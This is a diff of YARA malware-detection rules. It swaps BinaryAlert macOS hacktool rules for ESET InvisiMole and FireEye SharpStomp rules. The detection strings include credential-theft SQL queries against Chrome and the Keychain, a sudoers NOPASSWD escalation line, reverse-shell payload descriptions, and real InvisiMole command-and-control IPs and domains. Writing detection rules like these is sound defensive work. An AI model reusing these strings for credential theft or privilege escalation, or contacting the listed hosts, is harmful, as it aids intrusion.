-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "0974c6a5e7875e20380df0f58bf22a589b9a5c718e635ec77b42060abcf99473"
+		description = "Detects log files with collected created by InvisiMole's RC2CL backdoor"
+		author = "ESET Research"
+		id = "151883ad-1f44-55b4-b12a-f0d399527189"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L54-L77"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "d42423ccc768f1823c76d5cb2aec26434c796fc35bd4e2fbf435fcf7997d3ff0"
 		score = 75
 		quality = 80
-		tags = ""
-
-	strings:
-		$a1 = "Credit Cards for Chrome Profile" wide ascii
-		$a2 = "Passwords for Chrome Profile" wide ascii
-		$a3 = "Unknown Card Issuer" wide ascii
-		$a4 = "ERROR getting Chrome Safe Storage Key" wide ascii
-		$b1 = "select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards" wide ascii
-		$b2 = "select username_value, password_value, origin_url, submit_element from logins" wide ascii
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	condition:
-		3 of ($a*) or all of ($b*)
+		uint32(0)==0x08F1CAA1 or uint32(0)==0x08F1CAA2 or uint32(0)==0x08F1CCC0 or uint32(0)==0x08F2AFC0 or uint32(0)==0x083AE4DF or uint32(0)==0x18F2CBB1 or uint32(0)==0x1900ABBA or uint32(0)==0x24F2CEA1 or uint32(0)==0xDA012193 or uint32(0)==0xDA018993 or uint32(0)==0xDA018995 or uint32(0)==0xDD018991
 }
-rule BINARYALERT_Hacktool_Macos_Ptoomey3_Keychain_Dumper
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole_SFX_Dropper : FILE
 {
 	meta:
-		description = "Keychain dumping utility."
-		author = "@mimeframe"
-		id = "c45abbbe-f5fe-5a87-acd4-dcdb99ceec28"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/ptoomey3/Keychain-Dumper"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_ptoomey3_keychain_dumper.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "f2ef979e4682ce617b37f7503ec2ca520e657b4f6d15a75afad59b62191a1a43"
+		description = "Detects trojanized InvisiMole files: patched RAR SFX droppers with added InvisiMole blobs (config encrypted XOR 2A at the end of a file)"
+		author = "ESET Research"
+		id = "08490bcd-3139-5fac-9c6c-5a32acb7217a"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L79-L95"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "6ca248d42c1e889988e5931d80df071cb20e623fb0c4a208044cabe073f71ce4"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "keychain_dumper" wide ascii
-		$a2 = "/var/Keychains/keychain-2.db" wide ascii
-		$a3 = "<key>keychain-access-groups</key>" wide ascii
-		$a4 = "SELECT DISTINCT agrp FROM genp UNION SELECT DISTINCT agrp FROM inet" wide ascii
-		$a5 = "dumpEntitlements" wide ascii
+		$encrypted_config = {5F 59 4F 58 19 18 04 4E 46 46 2A 5D 59 5A 58 43 44 5E 4C 7D 2A 0F 2A 59 2A 78 2A 4B 2A 58 2A 0E 2A 6F 2A 72 2A 4B 2A 0F 2A 4E 2A 04 2A 0F 2A 4E 2A 76 2A 0F 2A 79 2A 2A 2A 79 42 4F 46 46 6F 52 4F 49 5F 5E 4F 7D 2A 79 42 4F 46 46 19 18 04 4E 46 46 2A 7C 43 58 5E 5F 4B 46 6B 46 46 45 49 2A 66 45 4B 4E 66 43 48 58 4B 58 53 6B}
 
 	condition:
-		all of ($a*)
+		uint16(0)==0x5A4D and $encrypted_config
 }
-rule BINARYALERT_Hacktool_Macos_Manwhoami_Icloudcontacts
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole_CPL_Loader : FILE
 {
 	meta:
-		description = "Pulls iCloud Contacts for an account. No dependencies. No user notification."
-		author = "@mimeframe"
-		id = "b6595540-7f89-5764-b34e-d32c1a377b6c"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/manwhoami/iCloudContacts"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_icloudcontacts.yara#L1-L14"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "0c5b81454b26de91f5ad126b24f10397e1da5d8561b0bf22c5df128753df0ac2"
+		description = "CPL loader"
+		author = "ESET Research"
+		id = "feff8627-6085-5835-ac1b-d4522245f7db"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L97-L118"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "cd5c19e14faa7fd3758b30193ccf2bed3692ad29d8216466523ca25d2abcfe88"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "https://setup.icloud.com/setup/authenticate/" wide ascii
-		$a2 = "https://p04-contacts.icloud.com/" wide ascii
-		$a3 = "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?" wide ascii
-		$a4 = "HTTP Error 404: URL not found. Did you enter a username?" wide ascii
+		$s1 = "WScr%steObject(\"WScr%s.Run(\"::{20d04fe0-3a%s30309d}\\\\::{21EC%sDD-08002B3030%s\", 0);"
+		$s2 = "\\Control.js" wide
+		$s3 = "\\Control Panel.lnk" wide
+		$s4 = "FPC 3.0.4 [2019/04/13] for x86_64 - Win64"
+		$s5 = "FPC 3.0.4 [2019/04/13] for i386 - Win32"
+		$s6 = "imageapplet.dat" wide
+		$s7 = "wkssvmtx"
 
 	condition:
-		3 of ($a*)
+		uint16(0)==0x5A4D and (3 of them )
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_Logkext
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole_Wrapper_DLL
 {
 	meta:
-		description = "LogKext is an open source keylogger for Mac OS X, a product of FSB software."
-		author = "@mimeframe"
-		id = "2e4ad9d0-5780-5a28-a76d-baac401b0648"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/SlEePlEs5/logKext"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_logkext.yara#L1-L25"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "f0e3a7ea8ec4568c319e44f00d71fb368948b6fe08bdf86de4b33f0d2bafbb44"
+		description = "Detects InvisiMole wrapper DLL with embedded RC2CL and RC2FM backdoors, by export and resource names"
+		author = "ESET Research"
+		id = "b9609b09-3ef5-5793-a3aa-4692cec367d9"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L120-L138"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "156bc5bc7b0ed5c77a5a15e7799a3077d40150896476a60935cf21a9afe36856"
 		score = 75
 		quality = 80
 		tags = ""
-
-	strings:
-		$a1 = "logKextPassKey" wide ascii
-		$a2 = "Couldn't get system keychain:" wide ascii
-		$a3 = "Error finding secret in keychain" wide ascii
-		$a4 = "com_fsb_iokit_logKext" wide ascii
-		$b1 = "logKext Password:" wide ascii
-		$b2 = "Logging controls whether the daemon is logging keystrokes (default is on)." wide ascii
-		$c1 = "logKextPassKey" wide ascii
-		$c2 = "Error: couldn't create secAccess" wide ascii
-		$d1 = "IOHIKeyboard" wide ascii
-		$d2 = "Clear keyboards called with kextkeys" wide ascii
-		$d3 = "Added notification for keyboard" wide ascii
+		license = "BSD 2-Clause"
+		version = "1"
 
 	condition:
-		3 of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
+		pe.exports("GetDataLength") and for any y in (0..pe.number_of_resources-1) : (pe.resources[y].type==pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string=="R\x00C\x002\x00C\x00L\x00") and for any y in (0..pe.number_of_resources-1) : (pe.resources[y].type==pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string=="R\x00C\x002\x00F\x00M\x00")
 }
-rule BINARYALERT_Hacktool_Macos_Exploit_Cve_5889
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole_DNS_Downloader : FILE
 {
 	meta:
-		description = "No description has been set in the source file - BinaryAlert"
-		author = "@mimeframe"
-		id = "ea70d31c-1b70-5927-ba8d-e13d2114e74e"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://www.exploit-db.com/exploits/38371/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_cve_2015_5889.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "b455759ea369cdcf2f05a2735a38000179ebe644667016cd635dfad9beda4459"
+		description = "InvisiMole DNS downloader"
+		author = "ESET Research"
+		id = "1caa6c8b-3798-556e-835e-885b7f3f4511"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L140-L170"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "88d6ed7ec1331153d19afc18473a4be2b214ad8af29fcf7051a2a8e40e088231"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "/etc/sudoers" fullword wide ascii
-		$a2 = "/etc/crontab" fullword wide ascii
-		$a3 = "* * * * * root echo" wide ascii
-		$a4 = "ALL ALL=(ALL) NOPASSWD: ALL" wide ascii
-		$a5 = "/usr/bin/rsh" fullword wide ascii
-		$a6 = "localhost" fullword wide ascii
+		$d = "DnsQuery_A"
+		$s1 = "Wireshark-is-running-{9CA78EEA-EA4D-4490-9240-FC01FCEF464B}" xor
+		$s2 = "AddIns\\" ascii wide xor
+		$s3 = "pcornomeex." xor
+		$s4 = "weriahsek.rxe" xor
+		$s5 = "dpmupaceex." xor
+		$s6 = "TCPViewClass" xor
+		$s7 = "PROCMON_WINDOW_CLASS" xor
+		$s8 = "Key%C"
+		$s9 = "AutoEx%C" xor
+		$s10 = "MSO~"
+		$s11 = "MDE~"
+		$s12 = "DNS PLUGIN, Step %d" xor
+		$s13 = "rundll32.exe \"%s\",StartUI"
 
 	condition:
-		all of ($a*)
+		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and $d and 5 of ($s*)
 }
-rule BINARYALERT_Hacktool_Macos_Macpmem
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole_RC2CL_Backdoor : FILE
 {
 	meta:
-		description = "MacPmem enables read/write access to physical memory on macOS. Can be used by CSIRT teams and attackers."
-		author = "@mimeframe"
-		id = "4890598e-936c-5a4d-9004-88ff4fe57c49"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/google/rekall/tree/master/tools/osx/MacPmem"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_macpmem.yara#L3-L22"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "d64b5a5423932211e3b72d949028f3f0ed1f1435e9584cffa947f2bd4846c29b"
+		description = "InvisiMole RC2CL backdoor"
+		author = "ESET Research"
+		id = "0228b8ee-bf03-504e-8cdf-8a1c9a79d54e"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L172-L213"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "c38550023515d33eaaf0669cc8b874bcfd09653a07c7edbf72e3344d1cf31541"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 78
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "%s/MacPmem.kext" wide ascii
-		$a2 = "The Pmem physical memory imager." wide ascii
-		$a3 = "The OSXPmem memory imager." wide ascii
-		$a4 = "These AFF4 Volumes will be loaded and their metadata will be parsed before the program runs." wide ascii
-		$a5 = "Pmem driver version incompatible. Reported" wide ascii
-		$a6 = "Memory access driver left loaded since you specified the -l flag." wide ascii
-		$b1 = "Unloading MacPmem" wide ascii
-		$b2 = "MacPmem load tag is" wide ascii
+		$s1 = "RC2CL" wide
+		$s2 = "hp12KsNh92Dwd" wide
+		$s3 = "ZLib package %s: files: %d, total size: %d" wide
+		$s4 = "\\Un4seen" wide
+		$s5 = {9E 01 3A AD}
+		$s6 = "~mrc_" wide
+		$s7 = "~src_" wide
+		$s8 = "~wbc_" wide
+		$s9 = "zdf_" wide
+		$s10 = "~S0PM" wide
+		$s11 = "~A0FM" wide
+		$s12 = "~70Z63\\" wide
+		$s13 = "~E070C" wide
+		$s14 = "~N031E" wide
+		$s15 = "%szdf_%s.data" wide
+		$s16 = "%spicture.crd" wide
+		$s17 = "%s70zf_%s.cab" wide
+		$s18 = "%spreview.crd" wide
+		$s19 = "Value_Bck" wide
+		$s20 = "Value_WSFX_ZC" wide
+		$s21 = "MachineAccessStateData" wide
+		$s22 = "SettingsSR2" wide
 
 	condition:
-		BINARYALERT_Macho_PRIVATE and 2 of ($a*) or all of ($b*)
+		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and 5 of ($s*)
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_B4Rsby_Swiftlog
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole : FILE
 {
 	meta:
-		description = "Dirty user level command line keylogger hacked together in Swift."
-		author = "@mimeframe"
-		id = "b1ae8284-04a0-5818-9997-0e31eb51ed2b"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/b4rsby/SwiftLog"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_b4rsby_swiftlog.yara#L1-L11"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "c66dcab2da0e543198f97ca104c13533c8950d10b6f7cbd3f906348d0f8c45ff"
+		description = "InvisiMole magic values, keys and strings"
+		author = "ESET Research"
+		id = "4d48996b-9792-57ba-a302-349220323712"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L215-L255"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "7a2cff9febe77d718089ba4e1a33f3487594588892e418cec685bf22b156fa2b"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "You need to enable the keylogger in the System Prefrences" wide ascii
+		$s1 = "CryptProtectData"
+		$s2 = "CryptUnprotectData"
+		$s3 = {9E 01 3A AD}
+		$s4 = "GET /getversion2a/%d%.2X%.2X/U%sN HTTP/1.1"
+		$s5 = "PULSAR_LOADER.dll"
+		$check_magic_old_32 = {3? F9 FF D0 DE}
+		$check_magic_old_64 = {3? 64 FF D0 DE}
+		$check_magic_new_32 = {81 3? 86 DA 11 CE}
+		$check_magic_new_64 = {81 3? 64 DA 11 CE}
 
 	condition:
-		all of ($a*)
+		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and ( any of ($check_magic*)) and (2 of ($s*))
 }
-rule BINARYALERT_Hacktool_Macos_Keylogger_Skreweverything_Swift
+import "pe"
+
+rule ESET_Apt_Windows_Invisimole_C2 : FILE
 {
 	meta:
-		description = "It is a simple and easy to use keylogger for macOS written in Swift."
-		author = "@mimeframe"
-		id = "a4918bc3-d3f0-59f4-894f-fd34ee944fac"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/SkrewEverything/Swift-Keylogger"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_skreweverything_swift.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "f400b8ec392417e7443e82a2c2a9adfc868b9795aa1fb29f91d228f6f94efd13"
+		description = "InvisiMole C&C servers"
+		author = "ESET Research"
+		id = "9279c8cd-2c16-5f90-a7f5-e668d57c805b"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L257-L297"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "aff8456ce7a9ebe875c02e51c09b77ee7b1fddfc11d4ad236e12c8c5240a01a8"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 78
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "Can't create directories!" wide ascii
-		$a2 = "Can't create manager" wide ascii
-		$a3 = "Can't open HID!" wide ascii
-		$a4 = "PRINTSCREEN" wide ascii
-		$a5 = "LEFTARROW" wide ascii
+		$s1 = "46.165.220.228" ascii wide
+		$s2 = "80.255.3.66" ascii wide
+		$s3 = "85.17.26.174" ascii wide
+		$s4 = "185.193.38.55" ascii wide
+		$s5 = "194.187.249.157" ascii wide
+		$s6 = "195.154.255.211" ascii wide
+		$s7 = "153.re" ascii wide fullword
+		$s8 = "adstat.red" ascii wide
+		$s9 = "adtrax.net" ascii wide
+		$s10 = "akamai.sytes.net" ascii wide
+		$s11 = "amz-eu401.com" ascii wide
+		$s12 = "blabla234342.sytes.net" ascii wide
+		$s13 = "mx1.be" ascii wide fullword
+		$s14 = "statad.de" ascii wide
+		$s15 = "time.servehttp.com" ascii wide
+		$s16 = "upd.re" ascii wide fullword
+		$s17 = "update.xn--6frz82g" ascii wide
+		$s18 = "updatecloud.sytes.net" ascii wide
+		$s19 = "updchecking.sytes.net" ascii wide
+		$s20 = "wlsts.net" ascii wide
+		$s21 = "ro2.host" ascii wide fullword
+		$s22 = "2ld.xyz" ascii wide fullword
+		$s23 = "the-haba.com" ascii wide
+		$s24 = "82.202.172.134" ascii wide
+		$s25 = "update.xn--6frz82g" ascii wide
 
 	condition:
-		4 of ($a*)
+		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and $s21 and any of them
 }
-rule BINARYALERT_Hacktool_Multi_Pyrasite_Py
+/*
+ * YARA Rule Set
+ * Repository Name: FireEye-RT
+ * Repository: https://github.com/mandiant/red_team_tool_countermeasures/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 3561b71724dbfa3e2bb78106aaa2d7f8b892c43b
+ * Number of Rules: 168
+ * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * BSD 2-Clause License
+
+Copyright (c) 2023, MANDIANT
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ */
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_1 : FILE
 {
 	meta:
-		description = "A tool for injecting arbitrary code into running Python processes."
-		author = "@fusionrace"
-		id = "0acd0044-a41c-5e9e-bb94-301cd704cf9d"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/lmacken/pyrasite"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_pyrasite_py.yara#L1-L24"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "7f3f3df5bd5c1bee2d85ff97878ad36223ab743926a5f8f1c079b039f724abc9"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "4b4a54c8-9717-5fbb-8130-a49162bc6b07"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_1.yar#L4-L24"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "83ed748cd94576700268d35666bf3e01"
+		logic_hash = "af8aa0e87d8b6623a908fde5014f3849cd0ca20d5926c798be82ce4eab2668bb"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 71
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$s1 = "WARNING: ptrace is disabled. Injection will not work." fullword ascii wide
-		$s2 = "A payload that connects to a given host:port and receives commands" fullword ascii wide
-		$s3 = "A reverse Python connection payload." fullword ascii wide
-		$s4 = "pyrasite - inject code into a running python process" fullword ascii wide
-		$s5 = "The ID of the process to inject code into" fullword ascii wide
-		$s6 = "This file is part of pyrasite." fullword ascii wide
-		$s7 = "https://github.com/lmacken/pyrasite" fullword ascii wide
-		$s8 = "Setup a communication socket with the process by injecting" fullword ascii wide
-		$s9 = "a reverse subshell and having it connect back to us." fullword ascii wide
-		$s10 = "Write out a reverse python connection payload with a custom port" fullword ascii wide
-		$s11 = "Wait for the injected payload to connect back to us" fullword ascii wide
-		$s12 = "PyrasiteIPC" fullword ascii wide
-		$s13 = "A reverse Python shell that behaves like Python interactive interpreter." fullword ascii wide
-		$s14 = "pyrasite cannot establish reverse" fullword ascii wide
+		$s0 = "mscoree.dll" fullword nocase
+		$s1 = "timestompfile" fullword nocase
+		$s2 = "sharpstomp" fullword nocase
+		$s3 = "GetLastWriteTime" fullword
+		$s4 = "SetLastWriteTime" fullword
+		$s5 = "GetCreationTime" fullword
+		$s6 = "SetCreationTime" fullword
+		$s7 = "GetLastAccessTime" fullword
+		$s8 = "SetLastAccessTime" fullword
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule BINARYALERT_Hacktool_Multi_Masscan
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_2 : FILE
 {
 	meta:
-		description = "masscan is a performant port scanner, it produces results similar to nmap"
-		author = "@mimeframe"
-		id = "adb2bb07-2a1a-5eb5-8049-b3f8e6cba48a"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/robertdavidgraham/masscan"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_masscan.yara#L1-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "b35e481f73b1c1722056157f8348e2e06bb109c094b948fc6be2d9a7df070a7f"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "d1a3477d-55c6-5c33-bd65-5b1e0d65f24b"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_2.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "83ed748cd94576700268d35666bf3e01"
+		logic_hash = "4ed1553f12c607792d7d4e7026ecb36231cd417a06eba8b2925c2c643436b5fe"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$a1 = "EHLO masscan" fullword wide ascii
-		$a2 = "User-Agent: masscan/" wide ascii
-		$a3 = "/etc/masscan/masscan.conf" fullword wide ascii
-		$b1 = "nmap(%s): unsupported. This code will never do DNS lookups." wide ascii
-		$b2 = "nmap(%s): unsupported, we do timing WAY different than nmap" wide ascii
-		$b3 = "[hint] I've got some local priv escalation 0days that might work" wide ascii
-		$b4 = "[hint] VMware on Macintosh doesn't support masscan" wide ascii
+		$f0 = "mscoree.dll" fullword nocase
+		$s0 = { 06 72 [4] 6F [4] 2C ?? 06 72 [4] 6F [4] 2D ?? 72 [4] 28 [4] 28 [4] 2A }
+		$s1 = { 02 28 [4] 0A 02 28 [4] 0B 02 28 [4] 0C 72 [4] 28 [4] 72 }
+		$s2 = { 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 72 }
+		$s3 = "SetCreationTime" fullword
+		$s4 = "GetLastAccessTime" fullword
+		$s5 = "SetLastAccessTime" fullword
 
 	condition:
-		all of ($a*) or any of ($b*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule BINARYALERT_Hacktool_Multi_Jtesta_Ssh_Mitm
+rule FIREEYE_RT_Hacktool_MSIL_Sharpstomp_1 : FILE
 {
 	meta:
-		description = "intercepts ssh connections to capture credentials"
-		author = "@fusionrace"
-		id = "fa8362e2-83d3-5830-8952-502684ad66f9"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/jtesta/ssh-mitm"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_jtesta_ssh_mitm.yara#L1-L12"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "1d19c83f7d648a0d30074debcd76ff0faf72afa6722251661f8640abdc12a2a9"
-		score = 50
-		quality = 80
-		tags = ""
